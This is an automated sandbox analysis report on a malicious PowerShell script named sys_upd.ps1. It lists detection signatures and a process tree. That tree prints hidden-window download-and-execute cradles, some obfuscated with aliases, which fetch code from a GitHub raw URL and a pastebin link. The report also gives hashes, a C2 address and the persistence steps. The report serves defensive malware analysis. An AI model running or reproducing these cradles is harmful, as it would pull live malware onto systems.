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Windows
Analysis Report
sys_upd.ps1
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected UAC Bypass using CMSTP
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Connects to a pastebin service (likely for C&C)
Creates files in the system32 config directory
Loading BitLocker PowerShell Module
Powershell creates an autostart link
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: PowerShell Download and Execution Cradles
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Tries to open files direct via NTFS file id
Compiles C# or VB.Net code
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match
Classification
- System is w10x64
- powershell.exe (PID: 7520 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLogo -E xecutionPo licy unres tricted -f ile "C:\Us ers\user\D esktop\sys _upd.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7576 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - csc.exe (PID: 6028 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\l3vn4y af\l3vn4ya f.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 6176 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES6D5B.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\l3v n4yaf\CSC5 C19197E644 C4A368DE55 3F78E153F3 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
- powershell.exe (PID: 7684 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le h -comm and iex(iw r raw.gith ubusercont ent.com/Ne th3N/na9ow 3495raygwi 4gyrhuawer awera/main /crtask.tx t -usebasi cparsing) MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7644 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- powershell.exe (PID: 3332 cmdline:
powershell .exe -wind owstyle hi dden -comm and sal ca llit iex;s al windoWs _NT iwr;ca llit(windo wS_NT past ebin.com/r aw/sA04Mwk 2 -usebasi cparsing) MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3688 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - attrib.exe (PID: 4240 cmdline:
"C:\Window s\system32 \attrib.ex e" +s +h " C:\Program Data\Micro soft OneDr ive\FileSy nc\BeginSy nc.lnk" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
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JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Click to see the 1 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): |
Source: | Author: frack113: |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: frack113: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Data Obfuscation |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-10-15T18:10:35.117309+0200 | 2857659 | 1 | A Network Trojan was detected | 192.168.2.10 | 57719 | 162.159.137.232 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Integrated Neural Analysis Model: |
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Networking |
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System Summary |
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Source: | Matched rule: |
Source: | Code function: | 2_2_00007FF7C0E395C5 | |
Source: | Code function: | 2_2_00007FF7C0E39B91 |
Source: | File created: | Jump to behavior |
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Source: | File created: | Jump to behavior |
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Source: | File read: | Jump to behavior |
Source: | Key opened: | Jump to behavior |
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Source: | LNK file: |
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Source: | File opened: | Jump to behavior |
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Data Obfuscation |
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Source: | Process created: |
Source: | Process created: | |||
Source: | Process created: | Jump to behavior |
Source: | Code function: | 2_2_00007FF7C0E347A6 |
Persistence and Installation Behavior |
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Source: | File created: | Jump to behavior |
Source: | File created: | Jump to dropped file |
Boot Survival |
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Source: | Anti Malware Scan Interface: |